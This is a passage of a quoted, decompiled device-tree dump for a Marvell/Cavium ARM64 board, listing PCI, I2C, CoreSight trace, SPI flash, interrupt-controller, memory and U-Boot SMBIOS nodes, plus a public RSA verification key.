> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-host-ecam-generic";
> ranges = <0x3000000 0x8020 0x0 0x8020 0x0 0xd0 0x900000 0x3000000 0x8280 0x0 0x8280 0x0 0x1 0x200000 0x3000000 0x82c0 0x0 0x82c0 0x0 0x0 0x200000 0x3000000;
> msi-map = <0x0 0x37 0x0 0x10000>;
> reg = <0x8780 0x0 0x0 0x10000000>;
> linux,pci-domain = <0x0>;
> phandle = <0x100>;
> iommu-map = <0x0 0x39 0x0 0x10000>;
>
> gpio0@17,0 {
> gpio-controller;
> u-boot,dm-pre-reloc;
> compatible = "cavium,thunder-8890-gpio";
> reg = <0x8800 0x0 0x0 0x0 0x0>;
> phandle = <0xf3>;
> #gpio-cells = <0x2>;
> };
>
> mailbox@28,0 {
> shmem = <0x3f>;
> #mbox-cells = <0x1>;
> compatible = "marvell,mbox";
> reg = <0xe000 0x0 0x0 0x0 0x0>;
> phandle = <0xf1>;
> };
>
> mrml-bridge0@1,0 {
> #address-cells = <0x3>;
> u-boot,dm-pre-reloc;
> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-bridge", "cavium,thunder-8890-mrml-bridge";
> ranges = <0x3000000 0x87e0 0x0 0x3000000 0x87e0 0x0 0x10 0x0>;
> reg = <0x800 0x0 0x0 0x0 0x0>;
> phandle = <0x101>;
>
> i2c@24,10 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xca00 0x0 0x0 0x0 0x0>;
> phandle = <0x10d>;
> };
>
> mdio-nexus@1,3 {
> #address-cells = <0x2>;
> assigned-addresses = <0x3000000 0x87e0 0x5000000 0x0 0x100000>;
> #size-cells = <0x2>;
> compatible = "cavium,thunder-8890-mdio-nexus";
> ranges = <0x87e0 0x5000000 0x3000000 0x87e0 0x5000000 0x0 0x100000>;
> reg = <0xb00 0x0 0x0 0x0 0x0>;
>
> mdio0_uio {
> mii-bus = <0x3c>;
> compatible = "marvell,mvmdio-uio";
> };
>
> mdio0@87e005003800 {
> #address-cells = <0x1>;
> #size-cells = <0x0>;
> compatible = "cavium,thunder-8890-mdio";
> reg = <0x87e0 0x5003800 0x0 0x30>;
> phandle = <0x3c>;
> };
>
> mdio1_uio {
> mii-bus = <0x3d>;
> compatible = "marvell,mvmdio-uio";
> };
>
> mdio1@87e005003880 {
> #address-cells = <0x1>;
> #size-cells = <0x0>;
> compatible = "cavium,thunder-8890-mdio";
> reg = <0x87e0 0x5003880 0x0 0x30>;
> phandle = <0x3d>;
> };
> };
>
> i2c@24,1 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc100 0x0 0x0 0x0 0x0>;
> phandle = <0x103>;
>
> rtc@68 {
> rtcmodel = <0x1>;
> compatible = "dallas,ds1337";
> reg = <0x68>;
> };
> };
>
> i2c@24,8 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc800 0x0 0x0 0x0 0x0>;
> phandle = <0x10b>;
> };
>
> i2c@24,6 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc600 0x0 0x0 0x0 0x0>;
> phandle = <0x109>;
> };
>
> i2c@24,4 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc400 0x0 0x0 0x0 0x0>;
> phandle = <0x107>;
> };
>
> i2c@24,11 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xcb00 0x0 0x0 0x0 0x0>;
> phandle = <0x10e>;
> };
>
> i2c@24,2 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc200 0x0 0x0 0x0 0x0>;
> phandle = <0x104>;
> };
>
> i2c@24,0 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc000 0x0 0x0 0x0 0x0>;
> phandle = <0x102>;
> };
>
> i2c@24,9 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc900 0x0 0x0 0x0 0x0>;
> phandle = <0x10c>;
> };
>
> i2c@24,7 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc700 0x0 0x0 0x0 0x0>;
> phandle = <0x10a>;
> };
>
> i2c@24,5 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc500 0x0 0x0 0x0 0x0>;
> phandle = <0x108>;
> };
> };
>
> ptp@8,0 {
> compatible = "marvell,ptp";
> reg = <0x4000 0x0 0x0 0x0 0x0>;
> phandle = <0x12b>;
> };
> };
>
> pmpcsr6@87a08d020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x8>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x8d020000 0x0 0x1000>;
> };
>
> etf18@87a005210000 {
> clock-names = "apb_pclk";
> memory-region = <0xb0>;
> clocks = <0x36>;
> cpu = <0x14>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5210000 0x0 0x1000>;
> phandle = <0xb4>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xb1>;
> phandle = <0xaf>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xb2>;
> phandle = <0xe6>;
> };
> };
> };
> };
>
> etf_cti7@87a004720000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4720000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x72>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete6 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x8>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x6b>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x67>;
> phandle = <0x69>;
> };
> };
> };
> };
>
> ete10 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xc>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x83>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x7f>;
> phandle = <0x81>;
> };
> };
> };
> };
>
> etf14@87a004e10000 {
> clock-names = "apb_pclk";
> memory-region = <0x98>;
> clocks = <0x36>;
> cpu = <0x10>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4e10000 0x0 0x1000>;
> phandle = <0x9c>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x99>;
> phandle = <0x97>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x9a>;
> phandle = <0xe2>;
> };
> };
> };
> };
>
> etf_cti17@87a005120000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5120000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xae>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> spi@805000000000 {
> iommus = <0x39 0x38>;
> #address-cells = <0x2>;
> dma-coherent;
> reg-names = "io", "sdma", "aux", "xfer";
> interrupts = <0x0 0x5b 0x1>;
> #size-cells = <0x2>;
> compatible = "cdns,xspi-nor";
> reg = <0x8050 0x0 0x0 0x1040 0x8050 0x10000000 0x0 0x1000 0x8050 0x2000 0x0 0x2300 0x8050 0x8000 0x0 0x240>;
> phandle = <0xfe>;
> cdns,read-size = <0x1>;
>
> flash@0 {
> #address-cells = <0x1>;
> spi-tx-bus-width = <0x4>;
> #size-cells = <0x1>;
> spi-max-frequency = <0x17d7840>;
> spi-rx-bus-width = <0x4>;
> u-boot,efivar-offset = <0x1e30000>;
> compatible = "jedec,spi-nor", "spi-flash";
> reg = <0x0>;
> phandle = <0xff>;
> u-boot,env-offset = <0x1e20000>;
> u-boot,env;
> };
> };
>
> pci@878010000000 {
> #address-cells = <0x3>;
> dma-coherent;
> bus-range = <0x0 0xff>;
> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-host-ecam-generic";
> ranges = <0x3000000 0x8680 0x0 0x8680 0x0 0x20 0x0 0x3000000 0x87e0 0xfe9c0000 0x87e0 0xfe9c0000 0x0 0x10000 0x3000000 0x8e00 0x0 0x8e00 0x0 0x0 0x40000000;
> msi-map = <0x0 0x37 0x10000 0x10000>;
> reg = <0x8780 0x10000000 0x0 0x10000000>;
> linux,pci-domain = <0x1>;
> phandle = <0x13a>;
> iommu-map = <0x0 0x39 0x10000 0x10000>;
> };
>
> etf_cti13@87a004d20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4d20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x96>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti13@87a09a010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xf>;
> arm,cs-dev-assoc = <0x95>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x9a010000 0x0 0x1000>;
> };
>
> etf6@87a004610000 {
> clock-names = "apb_pclk";
> memory-region = <0x68>;
> clocks = <0x36>;
> cpu = <0x8>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4610000 0x0 0x1000>;
> phandle = <0x6c>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x69>;
> phandle = <0x67>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x6a>;
> phandle = <0xda>;
> };
> };
> };
> };
>
> etf_cti1@87a004120000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4120000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x4e>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete19 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x15>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xb9>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xb5>;
> phandle = <0xb7>;
> };
> };
> };
> };
>
> ap_cti9@87a092010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xb>;
> arm,cs-dev-assoc = <0x7d>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x92010000 0x0 0x1000>;
> };
>
> pci@878020000000 {
> #address-cells = <0x3>;
> dma-coherent;
> bus-range = <0x0 0xff>;
> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-host-ecam-generic";
> ranges = <0x3000000 0x8400 0x0 0x8400 0x0 0x1f5 0x0 0x3000000 0x9 0xfc000000 0x9 0xfc000000 0x0 0x3040000>;
> msi-map = <0x0 0x37 0x20000 0x10000>;
> reg = <0x8780 0x20000000 0x0 0x10000000>;
> linux,pci-domain = <0x2>;
> phandle = <0x12c>;
> iommu-map = <0x0 0x39 0x20000 0x10000>;
>
> rvu-cpt@0 {
> num-rvu-vfs = <0x40>;
> num-msix-vec = <0xc3>;
> };
>
> rvu-ipsec@0 {
> num-rvu-vfs = <0x8>;
> num-msix-vec = <0xd2>;
> };
>
> rvu-admin@0 {
> num-rvu-vfs = <0x10>;
> num-msix-vec = <0x26>;
> };
>
> rvu-sso-tim@0 {
> num-rvu-vfs = <0x4>;
> num-msix-vec = <0x400>;
> };
>
> rvu-sdp@0 {
> pf-srn = <0x0>;
> num-sdp-vfs = <0x8>;
> num-sdp-pf-rings = <0x8>;
> provision-mode = "AVAILABLE";
> num-sdp-vf-rings = <0x8>;
> num-rvu-vfs = <0x9>;
> num-msix-vec = <0xd2>;
> num-rvu-pf-rings = <0x0>;
> num-sdp-pfs = <0x1>;
> };
>
> rvu-npa@0 {
> provision-mode = "AVAILABLE";
> num-rvu-vfs = <0x8>;
> num-msix-vec = <0x80>;
> };
> };
>
> etf23@87a005710000 {
> clock-names = "apb_pclk";
> memory-region = <0xce>;
> clocks = <0x36>;
> cpu = <0x19>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5710000 0x0 0x1000>;
> phandle = <0xd2>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xcf>;
> phandle = <0xcd>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xd0>;
> phandle = <0xeb>;
> };
> };
> };
> };
>
> ap_cti16@87a0a0010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x12>;
> arm,cs-dev-assoc = <0xa7>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa0010000 0x0 0x1000>;
> };
>
> sh_cti@87a100030000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a1 0x30000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1 0x2 0x3>;
> arm,trig-in-types = <0xe 0xe 0xd 0xd 0xc 0xc>;
> arm,cs-dev-assoc = <0xf0>;
> arm,trig-in-sigs = <0x0 0x1 0x2 0x3 0x4 0x5>;
> arm,trig-out-types = <0xf 0xf 0x10 0x10>;
> reg = <0x0>;
> };
> };
>
> serial@87e02c000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x4 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2c000000 0x0 0x1000>;
> phandle = <0x136>;
> };
>
> pmpcsr11@87a097020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xd>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x97020000 0x0 0x1000>;
> };
>
> ete4 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x6>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x5f>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x5b>;
> phandle = <0x5d>;
> };
> };
> };
> };
>
> pmpcsr0@87a081020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x2>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x81020000 0x0 0x1000>;
> };
>
> etf0@87a004010000 {
> clock-names = "apb_pclk";
> memory-region = <0x44>;
> clocks = <0x36>;
> cpu = <0x2>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4010000 0x0 0x1000>;
> phandle = <0x48>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x45>;
> phandle = <0x43>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x46>;
> phandle = <0xd4>;
> };
> };
> };
> };
>
> etf_cti22@87a005620000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5620000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xcc>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ddrcpmu4 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc4000000 0x0 0x10000>;
> };
>
> pmpcsr5@87a08b020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x7>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x8b020000 0x0 0x1000>;
> };
>
> ap_cti4@87a088010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x6>;
> arm,cs-dev-assoc = <0x5f>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x88010000 0x0 0x1000>;
> };
>
> etf19@87a005310000 {
> clock-names = "apb_pclk";
> memory-region = <0xb6>;
> clocks = <0x36>;
> cpu = <0x15>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5310000 0x0 0x1000>;
> phandle = <0xba>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xb7>;
> phandle = <0xb5>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xb8>;
> phandle = <0xe7>;
> };
> };
> };
> };
>
> etf_cti8@87a004820000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4820000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x78>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti23@87a0ae010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x19>;
> arm,cs-dev-assoc = <0xd1>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xae010000 0x0 0x1000>;
> };
>
> pmpcsr19@87a0a7020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x15>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa7020000 0x0 0x1000>;
> };
>
> pci-console-nexus {
> #address-cells = <0x2>;
> memory-region = <0x35>;
> #size-cells = <0x1>;
> num-consoles = <0x7>;
> skip-init;
> compatible = "marvell,pci-console-nexus";
> ranges = <0x0 0x0 0x0 0x20060100 0x4000 0x1 0x0 0x0 0x20064100 0x4000 0x2 0x0 0x0 0x20068100 0x4000 0x3 0x0 0x0 0x2006c100 0x4000 0x4 0x0 0x0 0x20070100 0x;
> status = "okay";
> reg = <0x0 0x20060000 0x0 0x1c100>;
>
> pci-console@2 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x2 0x0 0x4000>;
> };
>
> pci-console@0 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x0 0x0 0x4000>;
> };
>
> pci-console@5 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x5 0x0 0x4000>;
> };
>
> pci-console@3 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x3 0x0 0x4000>;
> };
>
> pci-console@1 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x1 0x0 0x4000>;
> };
>
> pci-console@6 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x6 0x0 0x4000>;
> };
>
> pci-console@4 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x4 0x0 0x4000>;
> };
> };
>
> ete17 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x13>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xad>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa9>;
> phandle = <0xab>;
> };
> };
> };
> };
>
> etf15@87a004f10000 {
> clock-names = "apb_pclk";
> memory-region = <0x9e>;
> clocks = <0x36>;
> cpu = <0x11>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4f10000 0x0 0x1000>;
> phandle = <0xa2>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x9f>;
> phandle = <0x9d>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa0>;
> phandle = <0xe3>;
> };
> };
> };
> };
>
> etf_cti18@87a005220000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5220000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xb4>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ioclk {
> clock-output-names = "ioclk";
> #clock-cells = <0x0>;
> clock-frequency = <0x2faf0800>;
> compatible = "fixed-clock";
> phandle = <0xf7>;
> };
>
> ete2 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x4>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x53>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x4f>;
> phandle = <0x51>;
> };
> };
> };
> };
>
> etf_cti14@87a004e20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4e20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x9c>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> etf7@87a004710000 {
> clock-names = "apb_pclk";
> memory-region = <0x6e>;
> clocks = <0x36>;
> cpu = <0x9>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4710000 0x0 0x1000>;
> phandle = <0x72>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x6f>;
> phandle = <0x6d>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x70>;
> phandle = <0xdb>;
> };
> };
> };
> };
> };
>
> interrupt-controller@801000000000 {
> #address-cells = <0x2>;
> #redistributor-regions = <0x1>;
> interrupts = <0x1 0x9 0x4>;
> #size-cells = <0x2>;
> compatible = "arm,gic-v3";
> ranges;
> #interrupt-cells = <0x3>;
> reg = <0x8010 0x0 0x0 0x40000 0x8010 0x80000 0x0 0x600000 0x8010 0x680000 0x0 0x10000>;
> phandle = <0x1>;
> interrupt-controller;
>
> gic-its@801000040000 {
> msi-controller;
> compatible = "arm,gic-v3-its";
> reg = <0x8010 0x40000 0x0 0x40000>;
> phandle = <0x37>;
> numa-node-id = <0x0>;
> #msi-cells = <0x1>;
> };
> };
>
> signature {
>
> key-dev {
> required = "conf";
> rsa,num-bits = <0x800>;
> key-name-hint = "dev";
> rsa,n0-inverse = <0xe34dadab>;
> rsa,modulus = <0xc9bff5e6 0x60d51523 0x9a553667 0xa341c484 0x4bd352ad 0x5b3d078a 0x19d7e80c 0x1ede28ce 0x409061b5 0xa7f3871e 0x71307b7a 0x719a585e 0xd07feb;
> rsa,exponent = <0x0 0x10001>;
> algo = "sha256,rsa2048";
> rsa,r-squared = <0x89ff95f2 0x851bb587 0xf73d9906 0x8a55ce4f 0x9b535633 0xd1b50060 0x519953a4 0xa6de89c3 0x4f93ceb6 0xd4845ab8 0x6a3bc081 0xf356d1da 0xedbf;
> };
> };
>
> memory@0 {
> device_type = "memory";
> ranges;
> reg = <0x0 0x4000000 0x9 0xf3afe000>;
> numa-node-id = <0x0>;
>
> msc@0x87e1c3240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc3240000 0x0 0x2000>;
> };
>
> msc@0x87e1c0240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc0240000 0x0 0x2000>;
> };
>
> msc@0x87e1c4240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc4240000 0x0 0x2000>;
> };
>
> msc@0x87e1c1240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc1240000 0x0 0x2000>;
> };
>
> msc@0x87e1c5240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc5240000 0x0 0x2000>;
> };
>
> msc@0x87e1c2240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc2240000 0x0 0x2000>;
> };
> };
>
> mmc_supply_1v8 {
> regulator-max-microvolt = <0x1b7740>;
> enable-active-high;
> regulator-min-microvolt = <0x1b7740>;
> regulator-name = "mmc_supply_1v8";
> compatible = "regulator-fixed";
> phandle = <0x3a>;
> };
>
> psci {
> method = "smc";
> compatible = "arm,psci-1.0";
> };
>
> uboot-smbios {
>
> type19@0 {
> array-handle = <0x600>;
> ext-start-addrs = <0x0 0x4000000>;
> part-width = <0x1>;
> end-addr = <0xffffffff>;
> start-addr = <0xffffffff>;
> #ext-end-addr-cells = <0x2>;
> #ext-start-addr-cells = <0x2>;
> ext-end-addrs = <0x9 0xffffffff>;
> };
>
> type16 {
> location = <0x3>;
> #ext-max-capacity-cells = <0x2>;
> mem-slots = <0x3>;
> memerr-info = <0xfffe>;
> max-capacity = <0x80000000>;
> err-corr = <0x5>;
> ext-max-capacitys = <0x300 0x0>;
> use = <0x3>;
> };
>
> type7@3 {
> cache-type = <0x5>;
> socket = "Last Level Cache";
> ecorr-type = <0x5>;
> supported-sram = <0x28>;
> installed-size = <0x8300>;
> cache-config = <0x182>;
> maxsize = <0x8300>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x8>;
> };
>
> type17@1 {
> cache-sizes = <0xffffffff 0xffffffff>;
> array-handle = <0x600>;
> module-product-id = <0x0>;
> #log-size-cells = <0x2>;
